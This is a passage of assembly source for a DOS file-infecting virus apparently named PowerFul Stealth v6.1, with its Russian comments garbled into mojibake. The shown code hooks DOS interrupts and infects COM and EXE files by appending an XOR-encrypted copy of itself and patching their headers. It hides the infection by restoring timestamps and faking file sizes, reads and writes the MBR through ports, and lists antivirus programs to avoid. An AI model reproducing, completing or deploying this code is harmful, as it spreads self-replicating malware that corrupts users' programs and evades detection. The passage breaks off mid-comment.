;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 set_old_int_24_jmpint21: call set_old_int24 ; 묅젪º 飡쟰�� 24'�� �誓贍쥯��� ;� 飡ⅹ� FLAGS exit_int21_processing: popf jmp dword ptr cs:[place_of_int21-virus] ;袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴� ZARAZA 袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴� call_zaraza: pusha push ds es ;겈p�� 졻pÆ呻� �젵쳽 mov ax,4300h call call_int21 jc error_occurred_zaraza ;귣若�: CX - 졻pÆ呻 mov cs:[attribute_of_file-virus],cx mov ax,4301h xor cx,cx call call_int21 jc error_occurred_zaraza ;룼ε젷� 쭬p젲졻� mov ax,3D02h ;롡챥淫� �젵� ㄻ� 譽��⑨/쭬�ⓤ� call call_int21 jc cannot_take_handle mov cs:[place_of_handle-virus+1],ax ;겈p�� 꽑栒/굋�э 貰ℓ젺⑨ �젵쳽 mov bx,ax mov ax,5700h call call_int21 jc close_file_exit_zaraza ;귣若�: CX - 줽�э ; DX - 쩆�� mov cs:[time_of_file-virus],cx mov cs:[date_of_file-virus],dx call common_infected ;묅젪º 飡쟰�� 쩆栒/줽�э 貰ℓ젺⑨ �젵쳽 mov bx,cs:[place_of_handle-virus+1] mov ax,5701h db 0B9h ;MOV CX,XXXXh time_of_file: dw 0 db 0BAh ;MOV DX,XXXXh date_of_file: dw 0 call call_int21 close_file_exit_zaraza: call close_file cannot_take_handle: ;묅젪º 飡쟰硫 졻pÆ呻 �젵ャ mov ax,4301h db 0B9h ;MOV CX,XXXXh attribute_of_file: dw 0 call call_int21 error_occurred_zaraza: pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 common_infected: pusha push ds es mov bp,sp call set_dses_cs call set_lseek_begin ;뒥�젰� 20h �쩺�音 줎⒱ � OLD ▲芯p mov cx,20h mov dx,offset(old_first_20_byte-virus) call read_file jc infect_error cmp ax,cx jnz infect_error ;룯pα維젰� ㏇� 貰ㄵp┬М� OLD � NEW mov si,dx mov di,offset(new_first_20_byte-virus) rep movsb ;DS:[SI] -> ES:[DI] mov bx,dx cmp word ptr [bx],'ZM' jz go_infec_exe ;앪�� �젵� EXE - 닩�� 췅 쭬p젲���� EXE ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� COM 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 mov byte ptr ds:[extention-virus],1 ;1-COM file ;룼Д殊� 譽� 將� COM �젵� (�拾��)! call set_lseek_end or dx,dx jnz infect_error cmp ax,0ffffh-offset(endvirus-virus+file_align+300h) jae infect_error cmp ax,200h jb infect_error ;뵠œ� Д�麟� 將�． p젳Дp� �� 쭬p젲젰� mov ds:[file_original_size-virus],ax mov ds:[file_original_size-virus+2],dx call write_file_align jc infect_error call set_lseek_end mov bx,offset(new_first_20_byte-virus) mov byte ptr ds:[bx],0e9h mov ds:[bx+01],ax sub word ptr ds:[bx+01],3 ;룳蜈� BREAK BLOCK � 쭬�º 쭬鼇�p�쥯��硫 ˘p信 call crypt_virus_and_write_to_end jc infect_error write_new20_and_end: call set_lseek_begin mov cx,020h mov dx,offset(new_first_20_byte-virus) call write_to_file infect_error: mov sp,bp pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 EXE 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ;H� ℡�ㄵ щ ºⅴ�: ;BX = OLD_BUFFER ;DS=ES = CS ;곥芯p OLD 쭬��キ�� 20h 줎⒱젹� �� 췅�젷� �젵쳽 go_infec_exe: mov byte ptr ds:[extention-virus],2 ;EXE FILE call set_lseek_end mov ds:[file_original_size-virus],ax mov ds:[file_original_size-virus+2],dx mov cx,200h div cx inc ax mul cx push dx ax mov ax,[bx+4] ;꽞Þ췅 �죖젳� � 512-� 줎⒱��音 飡p젺ⓩ졾 mul cx pop si di cmp si,ax jnz infect_error cmp di,dx jnz infect_error ;뵠œ �� 貰ㄵp┬� �´pゥ� mov ax,[bx+8] ;꽞Þ췅 쭬．ギ˚� � 캙p젫p졽졾 mov cx,10h mul cx mov di,ax ;DI - ㄻÞ췅 쭬．ギ˚� call write_file_align jc infect_error call set_lseek_end sub ax,di sbb dx,0 jc infect_error mov bx,offset(new_first_20_byte-virus) ;DX:AX - ㄻÞ췅 �젵쳽 ‥� 쭬．ギ˚� mov cx,10h div cx mov [bx+16h],ax ;Relo CS mov [bx+14h],dx ;IP add dx,offset(endvirus-virus+length_of_antivirus_break_block+300h) adc ax,0 mov [bx+0eh],ax ;Relo SS mov [bx+10h],dx ;Sp mov ax,030h cmp [bx+0ah],ax ;뙣�º僧 �pⅰ濕М� 캙э殊 쭬 ぎ�餘� 칛�즤젹щ jae min_mem_above_then_30 mov [bx+0ah],ax min_mem_above_then_30: cmp [bx+0ch],ax jae max_mem_above_then_30 mov [bx+0ch],ax ;뙛めº僧 �pⅰ濕М� 캙э殊 쭬 ぎ�餘� 칛�즤젹щ max_mem_above_then_30: ;룳蜈�: ;1) BREAK BLOCK ;2) 뇿鼇�p�쥯��硫 ˘p信 ;3) 럓ªÞ젷彛瑜 쩆��瑜 call crypt_virus_and_write_to_end jc infect_error call set_lseek_end ;귣若�: DX:AX - 췅 ぎ�璵 mov cx,200h div cx or dx,dx jz size_multiple_200 inc ax size_multiple_200: mov bx,offset(new_first_20_byte-virus) mov word ptr ds:[bx+04h],ax mov word ptr ds:[bx+02h],dx jmp write_new20_and_end ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 CRYPTER 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽� crypt_virus_and_write_to_end: pusha ;꽞� 췅�젷� 腥��쩺쮘濕� 笹晨젵��� 葉笹� new_random_crypt_number: call random_any_ax or ah,ah jz new_random_crypt_number mov ds:[crypt_byte-virus],ah ;룯p���歲� ˘p信 mov cx,length_of_virus_in_bate xor si,si mov di,offset(buffer_for_crypted_virus-virus) rep movsb ;DS:[SI] -> ES:[DI] ;삩�p濕� ˘p信 mov cx,offset(end_crypt-begin_crypt) mov si,offset(buffer_for_crypted_virus-virus+begin_crypt-virus) crypt_virus_loop: xor [si],ah inc si loop crypt_virus_loop ;뇿�②�� ANTI_VIRUS_BREAK_BLOCK call set_lseek_end mov cx,length_of_antivirus_break_block mov dx,offset(antivirus_break_block-virus) call write_to_file jc exit_stc_crypt_virus_and_write_to_end ;룳蜈� �젹 ˘p信 mov bx,length_of_virus_in_bate-200h mov dx,offset(buffer_for_crypted_virus-virus) next_write_block: mov cx,200h call write_to_file jc exit_stc_crypt_virus_and_write_to_end add dx,200h sub bx,cx jnc next_write_block add bx,200h mov cx,bx call write_to_file jc exit_stc_crypt_virus_and_write_to_end popa clc retn exit_stc_crypt_virus_and_write_to_end: mov dx,ds:[file_original_size-virus] mov cx,ds:[file_original_size-virus+2] call set_lseek_begin_pluscxdx xor cx,cx call write_to_file popa stc retn ;賽賽賽賽賽賽賽賽賽賽賽賽賽賽 룼ㄿp�즤젹щ 賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽賽 write_MBR_call: lea si,[bp+endvirus-virus] call write_MBR_via_port retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 read_MBR_call: lea di,[bp+endvirus-virus] call read_MBR_via_port retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;룼ㄿp�즤젹쵟 �죖젩�洙� 21-． 칛쩺猶젺⑨ � ��ⓤ졻�ゥ� �젵쳽 call_int21_with_use_handle: push bx place_of_handle: mov bx,0100h call call_int21 pop bx retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;룼ㄿp�즤젹쵟 �죖젩�洙� 21-． 칛쩺猶젺⑨. call_int21: pushf db 09ah ;CALL XXXX:XXXX place_of_int21: dd 00000000h retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 return_original_size_of_file: call asciiz cmp byte ptr ds:[filemask-virus],1 jnz exit_stc_q_file_infected mov ax,3D00h call call_int21 jc exit_stc_q_file_infected mov ds:[place_of_handle-virus+1],ax call set_lseek_end sub ax,length_of_original_file_info sbb dx,0 jc exit_stc_q_file_infected mov cx,dx mov dx,ax call set_lseek_begin_pluscxdx mov cx,length_of_original_file_info mov dx,offset(common_buffer-virus) call read_file call close_file mov ax,ds:[common_buffer-virus+20h] mov dx,ds:[common_buffer-virus+20h+2] clc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;귛��: DX:AX - ㄻÞ췅 �젵쳽 q_file_infected: or ax,ax jnz check_file_infected or dx,dx jz exit_stc_q_file_infected check_file_infected: cmp dx,file_align jae exit_stc_q_file_infected mov cx,file_align div cx or dx,dx jnz exit_stc_q_file_infected clc retn exit_stc_q_file_infected: stc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 may_infect_this_file: push ds push cs pop ds cmp byte ptr ds:[filename-virus],0 jnz exit_stc_may_infect_this_file cmp byte ptr ds:[extention-virus],0 jz exit_stc_may_infect_this_file cmp byte ptr ds:[filemask-virus],0 jnz exit_stc_may_infect_this_file pop ds clc retn exit_stc_may_infect_this_file: pop ds stc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;귛��: DS:DX - ▲狎쩺 ＄� 拾� 칛�葉�젺� 줎⒱� ; AX - 葉笹� p쪧レ�� 칛�葉�젺�音 줎⒱ move_faked_bytes: pusha push ds es push ds cs pop ds es mov di,dx mov si,ds:[pointer_to_active_stealth_buffer-virus] add si,2 mov bp,ax ;뫇�レぎ 칛�葉�젺� 줎⒱�� call set_lseek_current sub ax,bp sbb dx,0 or dx,dx jnz exit_move_faked_bytes cmp ax,20h jae exit_move_faked_bytes ;DX.AX - 丞젳졻�レ 飡�纏 췅 �∥졹殊 芯ø� add si,ax ;롡ゃ쩆 �쩺���歲筍 ギ┃瑜 줎⒱� sub ax,20h neg ax ;뿨笹� 줎⒱ 稅�レぎ щ ㄾウ�� ��ㅱ�젪ⓥ� ⓤ若ㅿ �� ��ギ┘�⑨ LSEEK mov cx,bp ;뫇�レぎ 칛�葉�젺� 줎⒱ cmp cx,ax jbe move_f_bytes mov cx,ax move_f_bytes: jcxz exit_move_faked_bytes rep movsb ;DS:[SI] -> ES:[DI] 룯p���歲� ギ┃瑜 줎⒱� exit_move_faked_bytes: pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 valid_stealth_handles: pusha push ds es call set_dses_cs mov si,offset(stealth_buffer_1-virus) mov cx,number_of_stealth_buffers-1 next_stealth_buffer: push cx mov bx,ds:[si] cmp bx,04h jbe bad_handle mov ah,3Fh xor cx,cx call call_int21 jnc good_handle bad_handle: mov word ptr ds:[si],0 good_handle: add si,size stealth pop cx loop next_stealth_buffer pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 select_stealth_field: pusha push ds es call set_dses_cs mov si,offset(stealth_buffer_1-virus) mov cx,number_of_stealth_buffers-1 next_free_stealth_buffer: push cx cmp word ptr ds:[si],0 jz free_handle_found add si,size stealth pop cx loop next_free_stealth_buffer pop es ds popa stc retn free_handle_found: pop cx mov ds:[pointer_to_active_stealth_buffer-virus],si pop es ds popa clc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;귛��: DS:DX - º� �젵쳽 fill_stealth_field: pusha push ds es mov ax,3D00h call call_int21 jc exit_carry_fill_stealth_field push cs pop ds mov ds:[place_of_handle-virus+1],ax call set_lseek_end ;DX:AX sub ax,length_of_original_file_info sbb dx,0 mov cx,dx mov dx,ax call set_lseek_begin_pluscxdx mov cx,24h mov si,ds:[pointer_to_active_stealth_buffer-virus] mov dx,si inc dx inc dx call read_file call close_file clc exit_carry_fill_stealth_field: pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;렞ⓤ젺��: 룼ㄿ昔｀젹쵟 ③β � 飡�メ ▲狎��졾 HANDLE 貰�手β聲莘蟯� BX ;귛��: BX - Handle ;귣若�: CF=0 - 췅ħ�� 貰¿젮좐蟯� 孼�ㄻ � Stealth Buffers ; (獸囹� ℡�쩆 pointer_to_active_stealth_buffer) ; CF=1 - 貰¿젮��Ł �� 췅ħ��� select_stealth_handle: pusha push ds push cs pop ds mov si,offset(stealth_buffer_1-virus) mov cx,number_of_stealth_buffers-1 seach_stealth_handle: cmp ds:[si],bx jz stealth_handle_found add si,size stealth loop seach_stealth_handle pop ds popa stc retn stealth_handle_found: mov ds:[pointer_to_active_stealth_buffer-virus],si pop ds popa clc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 file_align = 113h write_file_align: pusha call set_lseek_end ;DX.AX add ax,length_virus_on_file adc dx,0 ;DX.AX cmp dx,file_align jae exit_stc_write_file_align mov cx,file_align div cx ;DX - �飡졻�� sub dx,file_align neg dx mov cx,dx mov dx,offset(buffer_for_crypted_virus-virus) call write_to_file popa clc retn exit_stc_write_file_align: popa stc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 install_int21_hook: pusha push ds es push 0 pop ds cmp byte ptr ds:[M_ADDR+hooked_win_int21_flag-begin_manager],1 jnz int21_hook les bx,ds:[21h*4] cmp bx,ds:[M_ADDR+hooked_win_int21-begin_manager] jnz exit_install_int21_hook mov ax,es cmp ax,ds:[M_ADDR+hooked_win_int21-begin_manager+2] jnz exit_install_int21_hook mov dx,offset(M_ADDR+entry_manager-begin_manager) mov ax,2521h int 21h jmp exit_install_int21_hook int21_hook: mov di,offset(common_buffer-virus) call check_windows_present jc exit_install_int21_hook les bx,ds:[21h*4] mov ds:[M_ADDR+hooked_win_int21-begin_manager],bx mov ds:[M_ADDR+hooked_win_int21-begin_manager+2],es mov byte ptr ds:[M_ADDR+hooked_win_int21_flag-begin_manager],1 exit_install_int21_hook: pop es ds popa retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;렞ⓤ젺��: 뢱�璵ㅳp� ㄵ收も쮘�쥯�⑨ Windows 95/98 ;귛��: ES:[DI] - 줽�Д��硫 ▲狎쩺 � p젳Дp� 200h ;귣若�: CF = 1 - DOS ; CF = 0 - Windows check_windows_present: push cs pop es push di call read_mbr_via_port pop di cmp word ptr es:[di],0ffffh jnz DOS_present clc retn DOS_present: stc retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 set_our_int24: pusha push ds es push 0000h pop ds les bx,ds:[24h*4] mov word ptr cs:[old_int24-virus],bx mov word ptr cs:[old_int24-virus+2],es mov word ptr ds:[24h*4],offset(wrong_dos_function-virus) mov ds:[24h*4+2],cs pop es ds popa retn ; 룼飡젪ⓥ� 飡쟰�� 24-�� 칛쩺猶젺�� 췅 Д飡� set_old_int24: pusha push ds es push 0000h pop ds les bx,cs:[old_int24-virus] mov ds:[24h*4],bx mov ds:[24h*4+2],es pop es ds popa retn ;롨Æ�嶺좑 ㄾ� 押�ゆ⑨ wrong_dos_function: mov al,03h iret old_int24 dd ? ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 begin_solve_crc: db "PowerFul Stealth v6.1 (c)'98 DK eyegabooom" ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;룼ㄿp�즤젹쵟 ㄵ收も쮘�쥯�⑨ �젵쳽 (c)'98 DK ;댾��レ㎯β碎 ˘p信젹� ㄻ� �칛ⅳ�ゥ�⑨ 첓ぎ� �젵� М┃� 쭬p젲졻�, � ;첓ぎ� ��レ㏆. ;귛��: DS:DX - 丞젳猶젰� 췅 飡p�ゃ � 兒pД: "ㄸ稅:\�呻�\º� �젵쳽",0 ; 꽡ウ췅 〓筍 �칛ⅳ�ゥ췅 ��ㄿp�즤젹쵟 call_int21, 若舜 〓 ¡� �젶�． ; 貰ㄵp쬊�⑨: ; call_int21 proc near ; int 21h ; retn ; call_int21 endp ;귣若�: 뫊��pⓥ� ��ⓤ젺�� � �쩺�Д��臾: ; 1) filename ; 2) extention ; 3) filemask ;袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴拷 ;0, αエ �� �ㄽ� º� �� �쩺η�� FILENAMES �� 貰¿젷�. ;� ;댂좂� ��Дp 飡p�え 貰¿젪蜈． º���. ;� ;H젽pº쩺 αエ ℡�ㄽ�� DS:DX 丞젳猶젰� 췅 'D:\AVP.EXE', 獸 ;� ;췅 �音�ㄵ �� ��ㄿp�즤젹щ filename ▲ㄵ� p젪췅 1. ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴캑 ;뵰p쵟� �쩺η�� º�� �젵ギ�: ;� ;1) �쩺�臾 줎⒱�� Ħβ ㄻÞ췅 º���. 뢱º쩺 4,'ABCD' ;� ;2) ��獸� �젹� º� (‘レ鼇Ж ▲あ젹�) ;� ;3) � �.� 쨛膝�� º�췅 ;� ;4) �쩺η��� ㄾウ�� 쭬첓�葉쥯筍碎 줎⒱�� 0ffh ;� filenames: ;� number_filename_no_mask_checked=5 ;� ;닾�췅 �� 칛�´p畑щ� 췅 p졹鼇p����/쵟稅� ;� db 04,'CON',0 ;뙛稅� �� 칛�´p畑恂� ;�1 db 04,'AUX',0 ;뙛稅� �� 칛�´p畑恂� ;�2 db 04,'PRN',0 ;뙛稅� �� 칛�´p畑恂� ;�3 db 05,'COM1',0 ;뙛稅� �� 칛�´p畑恂� ;�4 db 05,'COM2',0 ;뙛稅� �� 칛�´p畑恂� ;�5 ;닾�췅 칛�´p畑щ� 췅 p졹鼇p����/쵟稅� ;� db 07,'AVP.EXE' ;�6 db 0FFh ; - 뢱�㎛젶 ぎ��� ;� ;袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴孤 ;0, αエ �� �ㄽ� p졹鼇p���� �� �쩺η�� extentions �� 貰¿젷�. ;� ;댂좂� ��Дp 飡p�え 貰¿젪蜈． p졹鼇p��⑨. ;� ;H젽pº쩺, αエ ℡�ㄽ�� DS:DX 丞젳猶젰� 췅 'D:\AVP.EXE', 獸 ;� ;췅 �音�ㄵ �� ��ㄿp�즤젹щ extention ▲ㄵ� p젪�� 3. ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴캑 ;뫊. 兒p쵟� �쩺η�� º�� �젵ギ� ;� extentions: ;� db 04,'COM',0 ;� db 04,'EXE',0 ;� db 0FFh ; - 뢱�㎛젶 ぎ��� ;� ;袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴孤 ;0, αエ �� �ㄽ� 쵟稅� �� �쩺η�� filemasks �� 貰¿젷�. ;� ;댂좂� ��Дp 飡p�え 貰¿젪蜈� 쵟稅�. ;� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴캑 ;뵰席졻: � ;1) 뫉�¡ 細ι��⑨ 쵟稅� � ;2) 뒲蹟ⅱ�� 줎⒱ � ; 0 - (1) � α筍 細ι���� 쵟稅� � ; 1 - 뫊ι���� ‥pβ碎 �� �젵쳽 �� (1) � ; 2 - 뫊ι���� ‥pβ碎 �� �젵쳽 �� (1)*10h � ; 3 - 뫊ι���� ‥pβ碎 �� ぎ��� � ;3) 꽞Þ췅 쵟稅� � ;4) 뙛稅�: � ; a) 뫅Б�� '?' - ヮ‘� 葉笹� � ; b) 뫅Б�� '*' - ヮ‘� ㎛젶 � ;5) 룯pη��� ㄾウ�� 쭬첓�葉쥯筍碎 歲Б�ギ� 0ffh � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컫컴컴컴컴컴컴컴컴캑 filemasks: ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 0004h ;� Infected files � db 3,4,20h,21h,0FFh,02Eh ;� by PFL v6.1 � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 0007h ;� DrWeb All DOS � db 3,7,'DrW?.??' ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 0040h ;� DrWeb All DOS � db 0,5,08h,0,0F3h,0A5h,4Bh ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 001Bh ;� Adinf � db 0,6,0,'????',0ffh ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 003Ch ;� Windows 95-98 � db 1,2,'PE' ;� PE App � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 003Ch ;� Windows 3.x � db 1,2,'NE' ;� NE App � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 003Ch ;� Windows 95-98 � db 1,2,'LE' ;� LE App � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 0008h ;� DOS EXE DRIVERS � db 2,4,0ffh,0ffh,0,0 ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컵컴컴컴컴컴컴컴컴캑 dw 0008h ;� DOS EXE DRIVERS � db 2,4,0ffh,0ffh,0ffh,0ffh ;� � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컨컴컴컴컴컴컴컴컴캑 db 0ffh ; - 뢱�㎛젶 ぎ��� 줎㏓ � ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 end_solve_crc: filename db 0 extention db 1 ;앪� COM �젵� filemask db 0 Asciiz proc near pusha push es ds dx call initial_offset_Asciiz initial_offset_Asciiz: pop bp sub bp,offset(initial_offset_Asciiz-Asciiz) push cs pop es ;꽞� 췅�젷� �搜�エ� º� �젵쳽 �� �呻� ;귛��: DS:DX - "ㄸ稅:�呻�\º� �젵쳽",0 call seach_name_from_path ;귣若�: DS:DX - 췅�젷� º��� �젵쳽 mov si,dx mov di,offset(common_buffer-virus) mov cx,20h reform_name_to_big_letter: lodsb ;DS:[SI] -> AL call al_to_big_letter stosb ;AL - > ES:[DI] or al,al jz filenames_check loop reform_name_to_big_letter ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;뢱�´p첓 �� �쩺η�� º�� filenames_check: push cs pop ds mov si,offset(common_buffer-virus) lea di,[bp+filenames-Asciiz] ;룼칛�즤젹쵟 �p젪���⑨ �ㄽ�� 飡p�え � �αぎレえЖ 쨛膝º� �� 줎㏓ ;귛��: DS:[SI] 飡p�첓 � ぎ獸p�� ▲ㄵ� �p젪�Ð졻藺� 췅‘p 飡p�� ; ES:[DI] 줎쭬 飡p�� � 兒p쵟收: ; db 6,'sergey' ; db 5,'misha' ; db 0ffh - 뢱�㎛젶 ぎ��� ;귣若�: AL==0 - �β 貰¿젮��Ł ; AL!=0 - ��Дp 貰¿젪蜈� 飡p�え 췅葉췅� � 1'劣 call cmps_string_with_databasestring mov byte ptr cs:[bp+filename-Asciiz],al or al,al jz check_file_extention cmp al,number_filename_no_mask_checked ja check_file_extention pop dx jmp set_filemask_zero_exit ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;뢱�´p첓 �� �쩺η�� p졹鼇p��Ł check_file_extention: seach_point: lodsb ;DS:[SI] cmp al,'.' jz point_found or al,al jnz seach_point point_found: lea di,[bp+extentions-Asciiz] call cmps_string_with_databasestring mov byte ptr cs:[bp+extention-Asciiz],al ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;뢱�´p첓 �� �쩺η�� 쵟貰� pop dx pop ds push ds mov ax,3D00h ;롡챥淫� ��ⓤ졻�レ ㄻ� 譽��⑨ call call_int21 jc set_filemask_zero_exit mov bx,ax cmp bx,4 jbe close_file_set_filemask_zero_exit push cs pop ds lea si,[bp+filemasks-Asciiz] mov byte ptr cs:[bp+filemask-Asciiz],1 next_mask: cmp byte ptr [si],0ffh jz close_file_set_filemask_zero_exit push si cmp byte ptr [si+2],0 ;(1) � α筍 細ι���� 쵟稅� jnz no_0 xor cx,cx mov dx,word ptr [si] mov ax,4200h call call_int21 jmp read_and_check_mask no_0: cmp byte ptr [si+2],1 ;뫊ι���� ‥pβ碎 �� �젵쳽 �� (1) jnz no_1 xor cx,cx mov dx,[si] mov ax,4200h call call_int21 mov dx,offset(common_buffer-virus) mov cl,02h mov ah,3fh call call_int21 cmp ax,cx jnz GATE1_mask_failed xor cx,cx mov dx,word ptr cs:[common_buffer-virus] mov ax,4200h call call_int21 jmp read_and_check_mask no_1: cmp byte ptr [si+2],2 ;뫊ι���� ‥pβ碎 �� �젵쳽 �� (1)*10h jnz no_2 xor cx,cx mov dx,[si] mov ax,4200h call call_int21 mov dx,offset(common_buffer-virus) mov cl,02h mov ah,3fh call call_int21 cmp ax,cx GATE1_mask_failed: jnz mask_failed mov cx,10h mov ax,word ptr cs:[common_buffer-virus] mul cx mov cx,dx mov dx,ax mov ax,4200h call call_int21 jmp read_and_check_mask no_2: xor cx,cx xor dx,dx mov ax,4202h call call_int21 sub ax,[si] mov cx,dx mov dx,ax mov ax,4200h call call_int21 read_and_check_mask: ;뿨�젰� 쵟稅� � 칛�´p畑� 쵟稅� mov dx,offset(common_buffer-virus) xor cx,cx mov cl,[si+3] mov ah,3Fh call call_int21 cmp ax,cx jnz mask_failed mov di,dx add si,4 next_letter_of_mask: cmp byte ptr [si],'*' jz next_letter cmp byte ptr [si],'?' jnz letter_is_not_q cmp byte ptr [di],30h jb mask_failed cmp byte ptr [di],39h ja mask_failed next_letter: inc si inc di loop next_letter_of_mask jmp mask_coincide letter_is_not_q: cmpsb ;DS:[SI] � ES:[DI] jnz mask_failed loop next_letter_of_mask mask_coincide: ;뫌¿젷� 쵟稅� pop si mov ah,3Eh call call_int21 jmp exit_Asciiz mask_failed: ;뙛稅� �� 貰¿젷� pop si add si,4 xor cx,cx mov cl,ds:[si-1] add si,cx inc byte ptr cs:[bp+filemask-Asciiz] jmp next_mask close_file_set_filemask_zero_exit: mov ah,3eh call call_int21 set_filemask_zero_exit: mov byte ptr cs:[bp+filemask-Asciiz],0 exit_Asciiz: pop ds es popa retn asciiz endp ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;룼ⓤ� º��� �젵쳽 �� �呻� ;귛��: DS:DX - "ㄸ稅:\�呻�\º� �젵쳽",0 ;귣若�: DS:DX - 췅�젷� º��� �젵쳽 seach_name_from_path: push ax cx si mov si,dx mov cx,80h set_bx_to_name: mov dx,si scan_name: lodsb ;DS:[SI] ("ㄸ稅:\�呻�\º� �젵쳽",0)-> AL cmp al,'\' jz set_bx_to_name cmp al,'/' jz set_bx_to_name cmp al,':' jz set_bx_to_name or al,al jz end_string loop scan_name end_string: pop si cx ax retn ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;룼칛�즤젹쵟 �p젪���⑨ �ㄽ�� 